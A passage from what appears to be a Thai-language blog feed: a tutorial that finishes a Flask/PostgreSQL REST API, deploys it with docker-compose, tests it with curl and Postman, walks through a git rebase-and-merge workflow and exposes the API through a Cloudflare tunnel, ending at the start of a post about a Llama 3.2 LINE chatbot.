        abort(404, description=&quot;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&quot;)
    return jsonify(dict(user))

@api_v1.route(&apos;/users&apos;, methods=[&apos;POST&apos;])
@auth.login_required
def create_user():
    &quot;&quot;&quot;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&quot;&quot;&quot;
    data = request.get_json()
    name = data.get(&apos;name&apos;)
    email = data.get(&apos;email&apos;)
    if not name or not email:
        return jsonify({&apos;error&apos;: &apos;Name and email are required&apos;}), 400

    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    try:
        cursor.execute(
            &apos;INSERT INTO users (name, email) VALUES (%s, %s) RETURNING *&apos;,
            (name, email)
        )
        new_user = cursor.fetchone()
        conn.commit()
    except psycopg2.errors.UniqueViolation:
        conn.rollback()
        cursor.close()
        conn.close()
        return jsonify({&apos;error&apos;: &apos;&#xE2D;&#xE35;&#xE40;&#xE21;&#xE25;&#xE19;&#xE35;&#xE49;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&apos;}), 400
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description=&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&quot;)
    cursor.close()
    conn.close()
    return jsonify(dict(new_user)), 201

@api_v1.route(&apos;/users/&lt;int:user_id&gt;&apos;, methods=[&apos;PUT&apos;])
@auth.login_required
def update_user(user_id):
    &quot;&quot;&quot;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&quot;&quot;&quot;
    data = request.get_json()
    name = data.get(&apos;name&apos;)
    email = data.get(&apos;email&apos;)
    if not name or not email:
        return jsonify({&apos;error&apos;: &apos;Name and email are required&apos;}), 400

    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute(&apos;SELECT * FROM users WHERE id = %s&apos;, (user_id,))
    user = cursor.fetchone()
    if not user:
        cursor.close()
        conn.close()
        abort(404, description=&quot;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&quot;)

    try:
        cursor.execute(
            &apos;UPDATE users SET name = %s, email = %s WHERE id = %s RETURNING *&apos;,
            (name, email, user_id)
        )
        updated_user = cursor.fetchone()
        conn.commit()
    except psycopg2.errors.UniqueViolation:
        conn.rollback()
        cursor.close()
        conn.close()
        return jsonify({&apos;error&apos;: &apos;&#xE2D;&#xE35;&#xE40;&#xE21;&#xE25;&#xE19;&#xE35;&#xE49;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&apos;}), 400
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description=&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&quot;)
    cursor.close()
    conn.close()
    return jsonify(dict(updated_user))

@api_v1.route(&apos;/users/&lt;int:user_id&gt;&apos;, methods=[&apos;DELETE&apos;])
@auth.login_required
def delete_user(user_id):
    &quot;&quot;&quot;&#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&quot;&quot;&quot;
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute(&apos;SELECT * FROM users WHERE id = %s&apos;, (user_id,))
    user = cursor.fetchone()
    if not user:
        cursor.close()
        conn.close()
        abort(404, description=&quot;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&quot;)
    try:
        cursor.execute(&apos;DELETE FROM users WHERE id = %s&apos;, (user_id,))
        conn.commit()
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description=&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&quot;)
    cursor.close()
    conn.close()
    return jsonify({&quot;message&quot;: &quot;&#xE25;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&quot;})

# Health check route &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; root (&#xE19;&#xE2D;&#xE01; blueprint)
@app.route(&apos;/health&apos;, methods=[&apos;GET&apos;])
def health_check():
    &quot;&quot;&quot;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&quot;&quot;&quot;
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute(&apos;SELECT 1&apos;)
        cursor.fetchone()
        cursor.close()
        conn.close()
        return jsonify({&quot;status&quot;: &quot;healthy&quot;, &quot;database&quot;: &quot;connected&quot;})
    except Exception:
        abort(503, description=&quot;Database connection failed&quot;)

# &#xE25;&#xE07;&#xE17;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE19; Blueprint
app.register_blueprint(api_v1)</code></pre><p>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; requirement.txt</p><pre><code># requirements.txt

Flask==2.3.2
Flask-HTTPAuth==4.8.0
Flask-CORS==3.0.10
psycopg2-binary==2.9.7
python-dotenv==1.0.1
gunicorn==23.0.0</code></pre><p>&#xE01;&#xE48;&#xE2D;&#xE19; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;</p><ul><li>Deploy API</li></ul><pre><code>docker-compose up -d</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.39.40.png" class="kg-image" alt loading="lazy" width="2000" height="1231" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.39.40.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.39.40.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.39.40.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.39.40.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Container &#xE17;&#xE35;&#xE48; Deploy</li></ul><pre><code>docker-compose ps</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.40.17.png" class="kg-image" alt loading="lazy" width="2000" height="158" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.40.17.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.40.17.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.40.17.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.40.17.png 2250w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; Logs &#xE02;&#xE2D;&#xE07; Container &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;</li></ul><pre><code>docker-compose logs</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.41.07.png" class="kg-image" alt loading="lazy" width="2000" height="289" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.41.07.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.41.07.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.41.07.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.41.07.png 2242w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE22;&#xE34;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; /health &#xE1C;&#xE48;&#xE32;&#xE19; curl</li></ul><pre><code>curl http://localhost:8000/health</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.43.04-1.png" class="kg-image" alt loading="lazy" width="2000" height="143" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.43.04-1.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.43.04-1.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.43.04-1.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.43.04-1.png 2236w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE22;&#xE34;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; /health &#xE1C;&#xE48;&#xE32;&#xE19; Postman</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.45.04.png" class="kg-image" alt loading="lazy" width="2000" height="1228" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.45.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.45.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.45.04.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.45.04.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; users &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method GET (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8000/api/v1/users</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.48.04.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.48.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.48.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.48.04.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.48.04.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; users &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE08;&#xE32;&#xE01; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method GET (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8000/api/v1/users/1</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.49.22.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.49.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.49.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.49.22.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.49.22.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; users &#xE43;&#xE2B;&#xE21;&#xE48;&#xE25;&#xE07; Database &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; JSON Format &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method POST (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8000/api/v1/users</code></pre><figure class="kg-card kg-code-card"><pre><code>{
        &quot;name&quot;: &quot;apple&quot;,
        &quot;email&quot;: &quot;apple@email.com&quot;
}</code></pre><figcaption>JSON Format</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.55.38.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.55.38.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.55.38.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.55.38.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.55.38.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Email &#xE02;&#xE2D;&#xE07; User &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE40;&#xE1B;&#xE47;&#xE19; nuttachot@hotmail.com &#xE1C;&#xE48;&#xE32;&#xE19; JSON Format &#xE14;&#xE49;&#xE27;&#xE22; Method PUT (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8000/api/v1/users/1</code></pre><pre><code>{
        &quot;name&quot;: &quot;nuttachot promrit&quot;,
        &quot;email&quot;: &quot;nuttachot@hotmail.com&quot;
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.01.01.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.01.01.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.01.01.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.01.01.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-12.01.01.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE25;&#xE1A; User &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 3 &#xE14;&#xE49;&#xE27;&#xE22; Method DELETE (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8000/api/v1/users/3</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.03.47.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.03.47.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.03.47.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.03.47.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-12.03.47.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE34;&#xE07; API &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;rest api dev&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.31.12.png" class="kg-image" alt loading="lazy" width="2000" height="319" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.31.12.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.31.12.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.31.12.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.31.12.png 2246w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE39; History &#xE17;&#xE35;&#xE48; Commit</p><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.32.05.png" class="kg-image" alt loading="lazy" width="2000" height="169" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.32.05.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.32.05.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.32.05.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.32.05.png 2248w" sizes="(min-width: 720px) 720px"></figure><p>Rebase &#xE42;&#xE14;&#xE22;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</p><ul><li>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19; Rebase &#xE04;&#xE27;&#xE23;&#xE14;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01; Trunk &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1A;&#xE19; Github Server</li></ul><pre><code>git checkout main

git pull origin main</code></pre><ul><li>Rebase &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>git checkout feature/restapi-dev

git rebase main</code></pre><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Code &#xE43;&#xE19; Branch feature/restapi-dev &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trank &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE36;&#xE07; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Conflict &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE01;&#xE48;&#xE2D;&#xE19; Merge)</li></ul><pre><code>git checkout main
git merge feature/restapi-dev</code></pre><ul><li>Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><ul><li>&#xE25;&#xE1A; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ul><pre><code>git branch -d feature/restapi-dev</code></pre><ul><li>&#xE14;&#xE39; History &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.38.08.png" class="kg-image" alt loading="lazy" width="2000" height="196" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.38.08.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.38.08.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.38.08.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.38.08.png 2244w" sizes="(min-width: 720px) 720px"></figure><h2 id="expose-api-%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%96%E0%B8%B6%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81-internet"><strong><strong><strong>Expose API &#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE08;&#xE32;&#xE01; Internet</strong></strong></strong></h2><ul><li>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Cloudflared</li></ul><pre><code>sudo apt update

sudo wget -O cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

sudo mv cloudflared /usr/local/bin/

sudo chmod +x /usr/local/bin/cloudflared

cloudflared --version

</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.42.58.png" class="kg-image" alt loading="lazy" width="2000" height="1066" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.42.58.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.42.58.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.42.58.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-12.42.58.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Cloudflare Tunnel</li></ul><pre><code>cloudflared tunnel --url http://0.0.0.0:8000</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.45.13.png" class="kg-image" alt loading="lazy" width="2000" height="1066" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.45.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.45.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.45.13.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-12.45.13.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>Copy URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1A;&#xE19; Browser &#xE42;&#xE14;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Path /health &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>https://creates-ignored-digest-filled.trycloudflare.com/health</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.47.07.png" class="kg-image" alt loading="lazy" width="1468" height="1136" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.47.07.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.47.07.png 1000w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.47.07.png 1468w" sizes="(min-width: 720px) 720px"></figure><p></p>]]></content:encoded></item><item><title><![CDATA[Llama 3.2 LINE Chatbot for Master's Curriculum]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/rb_30057.png" class="kg-image" alt loading="lazy" width="2000" height="624" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/rb_30057.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/rb_30057.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/rb_30057.png 1600w, https://blog.pjjop.org/content/images/2024/10/rb_30057.png 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>